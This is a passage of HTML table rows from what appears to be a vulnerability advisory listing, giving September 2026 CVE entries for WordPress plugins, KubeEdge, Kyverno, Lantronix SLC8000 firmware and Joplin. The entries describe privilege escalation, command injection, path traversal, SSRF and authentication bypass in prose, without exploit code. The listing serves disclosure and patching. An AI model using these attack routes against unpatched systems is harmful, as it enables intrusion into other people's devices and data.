&lt;td class=&quot;vendor-product&quot;&gt;knitpay--Knit Pay Cashfree, Instamojo, Razorpay, PayPal and more&lt;/td&gt;
&lt;td&gt;The Knit Pay - Cashfree, Instamojo, Razorpay, PayPal and more plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 9.6.1.0. This is due to the `maybe_update_user_role()` function reading the target role directly from an attacker-controlled Gravity Forms entry field - configured via the feed&#039;s `user_role_field_id` - and passing it to `WP_User::set_role()` without validating the supplied value against an allowlist of permitted roles. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges to administrator by tampering with the hidden role field value at form submission time. Exploitation is further enabled by the fact that $0 orders are synchronously marked as SUCCESS during form submission without requiring a real payment, and when no GF User Registration user can be resolved, the role assignment target falls back to `$lead[&#039;created_by&#039;]` - the currently authenticated submitter&#039;s own user ID - making any authenticated form submitter an eligible exploitation target.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89426&quot; target=&quot;_blank&quot;&gt;CVE-2026-89426&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Krayin--laravel-crm&lt;/td&gt;
&lt;td&gt;A vulnerability was found in Krayin laravel-crm up to 2.2.4. This affects an unknown function of the file packages/Webkul/Installer/src/Http/Middleware/CanInstall.php of the component admin-config-setup API Endpoint. The manipulation results in authorization bypass. The attack may be launched remotely. The exploit has been made public and could be used. Upgrading to version 2.2.5 mitigates this issue. The patch is identified as 89f2916b6a46ff91bd1999ce38158fa0de8b9490. Upgrading the affected component is recommended.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100885&quot; target=&quot;_blank&quot;&gt;CVE-2026-100885&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kstover--Ninja Forms Contact Form Builder with Calculators, Quizzes, Signatures &amp;amp; AI Form Builder&lt;/td&gt;
&lt;td&gt;Ninja Forms 3.15.3 stores an anonymous non-RTE textarea value and renders it without safe HTML encoding in the legacy submission editor. An attacker can break out of the textarea with stored script. When an Administrator opens the attacker-known direct submission URL, the script runs in the WordPress admin origin.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94504&quot; target=&quot;_blank&quot;&gt;CVE-2026-94504&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kubeedge--kubeedge&lt;/td&gt;
&lt;td&gt;KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at Edge. From 1.21.0 until 1.21.2, 1.22.2, and 1.23.1, ConfigUpdateJob processing in edge/pkg/taskmanager/actions/configupdatejob.go concatenates authenticated user-controlled updateFields values into the keadm config-update command and executes it through a system shell. A user with permission to create or modify ConfigUpdateJob resources can include shell metacharacters in the complete --set value and cause arbitrary commands to execute on an enrolled target edge node with the privileges of the KubeEdge process handling the job. This issue is fixed in versions 1.21.2, 1.22.2, and 1.23.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62182&quot; target=&quot;_blank&quot;&gt;CVE-2026-62182&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kubeedge--kubeedge&lt;/td&gt;
&lt;td&gt;KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at Edge. From 1.16.0 until 1.21.2, 1.22.2, and 1.23.1, the DecompressTarGz function in keadm/cmd/keadm/app/cmd/util/common.go joins archive entry names to the extraction destination without sufficient validation. During keadm join or installation on Windows edge nodes, an archive influenced through a compromised, replaced, or untrusted download source can contain parent-directory components, Windows-style backslashes, absolute paths, or drive-prefixed paths that escape the intended directory. The affected keadm process can consequently write or overwrite files with its own privileges, potentially modifying configuration, executable, or service files and enabling persistent system modification or code execution. This issue is fixed in versions 1.21.2, 1.22.2, and 1.23.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62369&quot; target=&quot;_blank&quot;&gt;CVE-2026-62369&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kubeedge--kubeedge&lt;/td&gt;
&lt;td&gt;KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at Edge. From 1.12.0 until 1.21.2, 1.22.2, and 1.23.1, the v1alpha2 NodeUpgradeJob handler in edge/pkg/taskmanager/actions/nodeupgradejob.go concatenates authenticated user-controlled spec.version and spec.image values into the keadm upgrade edge shell command. A user with permission to create or update NodeUpgradeJob resources can supply shell metacharacters in either field, causing arbitrary commands to execute on targeted edge nodes with the privileges of the upgrade process and compromising node confidentiality, integrity, and availability. This issue is fixed in versions 1.21.2, 1.22.2, and 1.23.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62371&quot; target=&quot;_blank&quot;&gt;CVE-2026-62371&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kvcache-ai--mooncake&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in kvcache-ai mooncake up to 0.3.12/0.3.13.post1. This affects the function UnmountSegment of the component RPC Path Handler. This manipulation of the argument client_id/segment_id causes authorization bypass. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96762&quot; target=&quot;_blank&quot;&gt;CVE-2026-96762&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kyverno--kyverno&lt;/td&gt;
&lt;td&gt;kyverno before 1.19.1 fails to properly validate URL-encoded path segments in Policy apiCall urlPath, allowing namespace tenants to bypass the per-namespace clamp and create objects in other namespaces as the admission-controller ServiceAccount. Attackers can exploit this by using percent-encoded directory traversal sequences to create MutatingWebhookConfiguration objects cluster-wide or PolicyException objects in the kyverno namespace, enabling privilege escalation to cluster admin.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100706&quot; target=&quot;_blank&quot;&gt;CVE-2026-100706&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kyverno--kyverno&lt;/td&gt;
&lt;td&gt;Kyverno 1.16.0 through 1.19.0 registers the globalcontext.Lib CEL library in its policy environment without confining it to the policy&#039;s namespace, unlike the sibling libraries (resource.Lib, http.Lib, configMap loader) which are handed the policy namespace. A tenant who can create a namespaced policy (e.g. NamespacedValidatingPolicy, and likewise the namespaced mutating, deleting, generating, and image-validating policy kinds) in their own namespace can call globalContext.get(&quot;&amp;lt;entry&amp;gt;&quot;, &quot;&quot;) and receive the full cached contents of a cluster-scoped GlobalContextEntry, including data cached from namespaces the tenant has no RBAC permission to read. No admission validation rejects such calls. Fixed in 1.19.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100703&quot; target=&quot;_blank&quot;&gt;CVE-2026-100703&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kyverno--kyverno&lt;/td&gt;
&lt;td&gt;Kyverno is a policy engine for Kubernetes. In versions 1.14.0 through 1.19.0, the ImageValidatingPolicy (policies.kyverno.io/v1beta1) evaluator never reads the spec.images and spec.allowedValues fields of a PolicyException. Any PolicyException whose policyRefs and matchConditions match a resource causes image signature verification to be skipped for the entire resource rather than only for the listed images or values, so an exception intended to exempt a single trusted image exempts every image on the matched resource(s). As a result, unsigned or untrusted images can be admitted to the cluster without signature verification. This differs from ValidatingPolicy, GeneratingPolicy, and MutatingPolicy, which treat the same field as a partial exemption. The issue is fixed in version 1.19.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100704&quot; target=&quot;_blank&quot;&gt;CVE-2026-100704&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kyverno--kyverno&lt;/td&gt;
&lt;td&gt;Kyverno before 1.19.1 is vulnerable to server-side request forgery. The default egress blocklist (169.254.169.254, 169.254.169.253, metadata.google.internal, 127.0.0.0/8, ::1/128) and the scoped-token control were wired only into the new CEL http.Get/Post library and were never applied to the legacy apiCall service executor (pkg/engine/apicall/executor.go) or to the GlobalContextEntry external-API path, which handle every non-CEL context[].apiCall.service call. Because these paths use a plain net/http client with no egress filtering and no validation of the configured service URL, a ClusterPolicy or GlobalContextEntry author - or, where a deployed policy templates the service URL from the admission resource, a lower-privileged resource submitter - can cause Kyverno to issue GET/POST requests to an arbitrary host, including the cloud metadata endpoint, loopback, and any in-cluster service, reading cloud instance credentials and reaching internal endpoints with Kyverno&#039;s network position. The executor also unconditionally attaches Kyverno&#039;s projected ServiceAccount token to the attacker-chosen destination; the token is audience-scoped, limiting its replay value. Fixed in 1.19.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100705&quot; target=&quot;_blank&quot;&gt;CVE-2026-100705&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kyverno--kyverno&lt;/td&gt;
&lt;td&gt;Kyverno before 1.19.1 contains a namespace isolation bypass in the apiCall context entry of namespaced Policy resources due to inconsistent path interpretation between validation and execution. A low-privilege tenant can use percent-encoded dot-segments in urlPath to bypass namespace checks and read resources from other namespaces using the Kyverno admission controller&#039;s ServiceAccount credentials.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100707&quot; target=&quot;_blank&quot;&gt;CVE-2026-100707&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ladela--Online Scheduling and Appointment Booking System Bookly&lt;/td&gt;
&lt;td&gt;The Bookly plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 28.2 via the &#039;bookly_get_form_id&#039;, &#039;bookly_render_complete&#039;, &#039;bookly_add_to_calendar&#039; and &#039;bookly_rollback_order&#039; AJAX actions. This is due to the &#039;bookly_get_form_id&#039; handler blindly storing the attacker-controlled &#039;order_id&#039; from the submitted form_data into a new booking session, which the &#039;bookly_render_complete&#039; handler then trusts to look up and return the corresponding Order&#039;s secret token without verifying that the current session created that order. This makes it possible for unauthenticated attackers to enumerate sequential order IDs, disclose other customers&#039; order tokens, retrieve calendar/appointment information via &#039;bookly_add_to_calendar&#039; and permanently delete arbitrary non-completed bookings via &#039;bookly_rollback_order&#039;, which cascade-deletes the customer_appointment and (when no other customers are attached) the underlying appointment.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93399&quot; target=&quot;_blank&quot;&gt;CVE-2026-93399&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LANTRONIX--SLC8000&lt;/td&gt;
&lt;td&gt;Lantronix SLC8000 before firmware v9.7.0.5, SLC9000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain an authentication bypass vulnerability in the web management portal upload endpoint that allows unauthenticated attackers to read sensitive configuration files and upload files to arbitrary filesystem locations, leading to remote code execution. The web configuration server constructs the session cookie file path using snprintf with a fixed-size buffer; by supplying a cookie value of a specific length an attacker causes the path to truncate at the required delimiter and leverages path traversal to redirect authentication validation to an arbitrary on-disk file such as the local user database, bypassing all session checks. Attackers can use this vulnerability to achieve complete loss of confidentiality, integrity, and availability on the affected device and potentially impact downstream serial-connected devices.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80155&quot; target=&quot;_blank&quot;&gt;CVE-2026-80155&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LANTRONIX--SLC8000&lt;/td&gt;
&lt;td&gt;Lantronix SLC8000/SLC9000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers to execute arbitrary shell commands as root by exploiting an undocumented mfc eeprom read command that passes unsanitized user input to a system() call. Attackers can authenticate as any user to the terminal or CLI interface and inject malicious commands through the unsanitized parameter to achieve complete loss of confidentiality, integrity, and availability on the affected device and potentially impact downstream serial-attached devices.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80143&quot; target=&quot;_blank&quot;&gt;CVE-2026-80143&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LANTRONIX--SLC8000&lt;/td&gt;
&lt;td&gt;Lantronix SLC8000/SLC9000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers to execute arbitrary shell commands as root by exploiting an undocumented mfc eeprom write command that passes unsanitized user input to a system() call. Attackers can authenticate as any user to the terminal or CLI interface and inject malicious commands through the unsanitized parameter to achieve complete loss of confidentiality, integrity, and availability on the affected device and potentially impact downstream serial-attached devices.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80144&quot; target=&quot;_blank&quot;&gt;CVE-2026-80144&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LANTRONIX--SLC8000&lt;/td&gt;
&lt;td&gt;Lantronix SLC8000/SLC9000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers with the services permission to execute arbitrary shell commands as root by exploiting the set cifs password command that passes unsanitized user input to a system() call. Attackers with the services permission can authenticate to the terminal or CLI interface and inject malicious commands through the unsanitized parameter to achieve complete loss of confidentiality, integrity, and availability on the affected device and potentially impact downstream serial-attached devices.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80145&quot; target=&quot;_blank&quot;&gt;CVE-2026-80145&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LANTRONIX--SLC8000&lt;/td&gt;
&lt;td&gt;Lantronix SLC8000/SLC9000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a stack-based buffer overflow vulnerability that allows authenticated attackers to potentially execute arbitrary code by exploiting an undocumented mfc eeprom read command that copies unbounded user input into a bounded stack buffer before passing it to a system() call. Attackers can authenticate as any user to the terminal or CLI interface and supply an oversized input to trigger the overflow, potentially achieving complete loss of confidentiality, integrity, and availability on the affected device and impacting downstream serial-attached devices.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80146&quot; target=&quot;_blank&quot;&gt;CVE-2026-80146&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LANTRONIX--SLC8000&lt;/td&gt;
&lt;td&gt;Lantronix SLC8000/SLC9000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a stack-based buffer overflow vulnerability that allows authenticated attackers to potentially execute arbitrary code by exploiting an undocumented mfc eeprom write command that copies unbounded user input into a bounded stack buffer before passing it to a system() call. Attackers can authenticate as any user to the terminal or CLI interface and supply an oversized input to trigger the overflow, potentially achieving complete loss of confidentiality, integrity, and availability on the affected device and impacting downstream serial-attached devices.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80147&quot; target=&quot;_blank&quot;&gt;CVE-2026-80147&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LANTRONIX--SLC8000&lt;/td&gt;
&lt;td&gt;Lantronix SLC8000 before firmware v9.7.0.3, SLC9000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers with the services permission to execute arbitrary shell commands as root by exploiting the set nfs download command that passes unsanitized user input to a system() call. Attackers with the services permission can authenticate to the terminal or CLI interface and inject malicious commands through the unsanitized parameter to achieve complete loss of confidentiality, integrity, and availability on the affected device and potentially impact downstream serial-attached devices.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80151&quot; target=&quot;_blank&quot;&gt;CVE-2026-80151&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LANTRONIX--SLC8000&lt;/td&gt;
&lt;td&gt;Lantronix SLC8000 before firmware v9.7.0.3, SLC9000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers with the services permission to execute arbitrary shell commands as root by exploiting the set script schedule command that passes unsanitized user input to a system() call. Attackers with the services permission can authenticate to the terminal or CLI interface and inject malicious commands through the unsanitized parameter to achieve complete loss of confidentiality, integrity, and availability on the affected device and potentially impact downstream serial-attached devices.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80152&quot; target=&quot;_blank&quot;&gt;CVE-2026-80152&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LANTRONIX--SLC8000&lt;/td&gt;
&lt;td&gt;All firmware versions of Lantronix SLC8000, SLC9000, EMG8500, EMG7500, SLB882, SLCx-03, and SLCx-02 contain an authentication bypass vulnerability in the web management portal that allows unauthenticated attackers to derive valid session tokens of logged-in users and bypass source IP and User-Agent validation. Session tokens are generated deterministically from the device model and the current time at one-second resolution, resulting in a small enumerable set of possible active tokens. Attackers can construct a crafted URI that exploits file extension handling in the web server path routing to bypass per-session source-address validation, then use a derived token from a different source address to gain elevated privileges on the affected device and potentially impact downstream serial-attached devices.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80154&quot; target=&quot;_blank&quot;&gt;CVE-2026-80154&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LANTRONIX--SLC8000&lt;/td&gt;
&lt;td&gt;Lantronix SLC8000 before firmware v9.7.0.5, SLC9000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a path traversal vulnerability in the web management portal upload endpoint that allows authenticated attackers to write arbitrary data to any location on the device&#039;s filesystem, leading to remote code execution. The upload filename validation strips backslash characters but does not subsequently check for forward slashes when a backslash is detected; by supplying a filename containing both characters an attacker writes outside the intended upload directory to any writable path. Attackers can use this vulnerability to achieve complete loss of confidentiality, integrity, and availability on the affected device and potentially impact downstream serial-connected devices.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80156&quot; target=&quot;_blank&quot;&gt;CVE-2026-80156&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LANTRONIX--SLC8000&lt;/td&gt;
&lt;td&gt;Lantronix SLC8000 before firmware v9.7.0.3, SLC9000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882 contain a server-side request forgery vulnerability in the WebSSH/WebTelnet listener that allows unauthenticated attackers to cause the affected device to establish SSH connections to attacker-controlled endpoints. The custom shellinaboxd builds its SSH connection target using a snprintf call with user-supplied input; by supplying an overlong username string an attacker causes the device IP suffix to be truncated, redirecting the resulting connection to an arbitrary host. Attackers can use this capability to enumerate or communicate with internal network endpoints that would otherwise be inaccessible.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80148&quot; target=&quot;_blank&quot;&gt;CVE-2026-80148&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LANTRONIX--SLC8000&lt;/td&gt;
&lt;td&gt;Lantronix SLC8000 before firmware v9.7.0.3, SLC9000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882 contain a server-side request forgery vulnerability in the WebSSH/WebTelnet listener that allows unauthenticated attackers to cause the affected device to establish SSH connections to attacker-controlled endpoints. The custom shellinaboxd uses the rooturl parameter from the web connection to determine its own IP address; by modifying this parameter an attacker redirects the SSH terminal connection to an arbitrary host or IP. Attackers can use this capability to enumerate or communicate with internal network endpoints that would otherwise be inaccessible.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80149&quot; target=&quot;_blank&quot;&gt;CVE-2026-80149&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LANTRONIX--SLC8000&lt;/td&gt;
&lt;td&gt;Lantronix SLC8000 before firmware v9.7.0.3, SLC9000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882 contain a server-side request forgery vulnerability in the WebSSH/WebTelnet listener that allows unauthenticated attackers to cause the affected device to establish Telnet connections to attacker-controlled endpoints. The custom shellinaboxd uses the rooturl parameter from the web connection to determine its own IP address; by modifying this parameter an attacker redirects the Telnet terminal connection to an arbitrary host or IP. Attackers can use this capability to enumerate or communicate with internal network endpoints that would otherwise be inaccessible.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80150&quot; target=&quot;_blank&quot;&gt;CVE-2026-80150&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;laurent22--joplin&lt;/td&gt;
&lt;td&gt;Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.2, Joplin Desktop for Windows omits publisherName from packages/app-desktop/package.json, so the generated app-update.yml causes NsisUpdater.verifySignature() to skip comparison of a downloaded update&#039;s Authenticode signer with Joplin&#039;s signer. An attacker who controls the update delivery path can replace the update metadata and installer, and the client accepts an installer signed by another publisher or left unsigned after the user approves installation. Successful exploitation runs attacker-controlled code with the user&#039;s privileges and can compromise notes, credentials, and local data. This issue is fixed in version 3.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49450&quot; target=&quot;_blank&quot;&gt;CVE-2026-49450&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;laurent22--joplin&lt;/td&gt;
&lt;td&gt;Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.6.15 and 3.7.2, Joplin accepts synchronized resource metadata whose id or file_extension contains parent-directory or path-separator characters. BaseItem.unserialize() stores the unvalidated fields, resourceFilename() concatenates them into a destination path, and ResourceFetcher writes the attacker-controlled resource blob outside the resource directory during background synchronization. An attacker with write access to a configured sync target or shared notebook can create or overwrite files at an attacker-chosen existing path without user interaction. This issue is fixed in versions 3.6.15 and 3.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49453&quot; target=&quot;_blank&quot;&gt;CVE-2026-49453&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;laurent22--joplin&lt;/td&gt;
&lt;td&gt;Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.6.15 and 3.7.2, packages/renderer/MdToHtml/rules/fountain.ts passes HTML generated by the vendored fountain.js renderer into note output without sanitizing it. A malicious Fountain code block can therefore execute script when Fountain rendering is enabled in desktop or mobile clients, or when a note is published through Joplin Server where Fountain rendering is enabled by default. The script can read content subsequently loaded in the reused note viewer or, when published notes are served from the same domain as server content, access data available to an authenticated browser in the server origin. This issue is fixed in versions 3.6.15 and 3.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55105&quot; target=&quot;_blank&quot;&gt;CVE-2026-55105&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;laurent22--joplin&lt;/td&gt;
&lt;td&gt;Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.2, Joplin Server&#039;s UserModel.ssoLogin() returns an existing account matched by an IdP-asserted email without checking the account&#039;s is_external flag. In deployments using mixed local and SAML authentication, an attacker whose IdP session can assert a local user&#039;s email can pass POST /api/saml, receive a session for that local account, and access or modify the victim&#039;s notes, files, and settings without knowing the local password. This issue is fixed in version 3.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55210&quot; target=&quot;_blank&quot;&gt;CVE-2026-55210&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;laurent22--joplin&lt;/td&gt;
